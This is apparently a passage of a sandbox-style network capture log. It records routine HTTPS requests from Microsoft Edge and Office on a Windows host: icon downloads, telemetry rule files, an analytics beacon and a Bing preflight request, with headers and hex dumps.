2024-10-30 17:06:45 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49884	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:45 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:45 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:45 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: e9b0b68c-401e-006b-54dc-2a3551000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T170645Z-17c5cb586f626sn8grcgm1gf8000000006rg00000000ky3h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:45 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49882	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:45 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:45 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:45 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 479a53aa-f01e-001f-392b-29b317000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T170645Z-16849878b78qwx7pmw9x5fub1c00000006e000000000ktum Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:45 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49883	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:45 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:45 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:45 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 6bfc9a34-301e-0009-03ee-2a7289000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T170645Z-15b8d89586f5s5nz3ffrgxn5ac00000008z000000000f25r Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-30 17:06:45 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49889	18.245.113.126	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:45 UTC	1012	OUT	GET /b2?rn=1730308002026&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A3C51D39FB2654125F844FB9EBA64FA&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1B6dc4876605b7882e815831730308005; XID=1B6dc4876605b7882e815831730308005
2024-10-30 17:06:45 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 30 Oct 2024 17:06:45 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 88e904e8e5bc99d3b40725bf441c7bd4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW57-P8 X-Amz-Cf-Id: U2jkzyvFHfZ6aECBmriPINQaYpzFqCrsLl4_rpp-3G3p5SUwFXkxnA==

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49885	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:45 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 6c7958f7-701e-001e-113a-29f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170645Z-17fbfdc98bblfj7gw4f18guu2800000009pg000000008t6u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49886	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:45 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:45 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:45 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 3b7f99e2-a01e-0061-032b-282cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T170645Z-16849878b78wv88bk51myq5vxc00000008hg00000000rryx Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:45 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49887	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:45 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:45 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 0f0be25c-301e-006e-4493-28f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170645Z-17fbfdc98bbsq6qfu114w62x8n00000007800000000005gx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:45 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49891	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:45 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:46 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 75e7650a-001e-0079-12c4-2612e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170646Z-r1755647c66gqcpzhw8q9nhnq000000008z000000000ag9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:46 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49892	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:46 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:46 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:46 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 155b9113-f01e-0072-1c90-281939000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T170646Z-16849878b78smng4k6nq15r6s400000009xg00000000325z Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:46 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49890	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:46 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:46 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: cf3643bb-401e-0078-69a3-264d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170646Z-r1755647c664nptf1txg2psens000000075g0000000048v6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:46 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	49894	23.198.7.171	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:46 UTC	628	OUT	OPTIONS /bnc/notifications/count?app=anaheim&pageId=ntp HTTP/1.1 Host: www.bing.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: x-personalbing-csrf,x-personalbing-flights,x-search-clientid,x-search-uilang Origin: https://ntp.msn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:46 UTC	2234	IN	HTTP/1.1 200 OK Content-Length: 0 Access-Control-Allow-Headers: * Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Max-Age: 7200 Cache-Control: private X-EventID: 672267a6ba6b4ebbb4b8c08c8c3d668e UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= Content-Security-Policy: script-src https: 'strict-dynamic' 'report-sample' 'wasm-unsafe-eval' 'nonce-qyHiMzPVuDlP0AQq7Tu9KfSbnbVPsyHwQ90ninciyjM='; base-uri 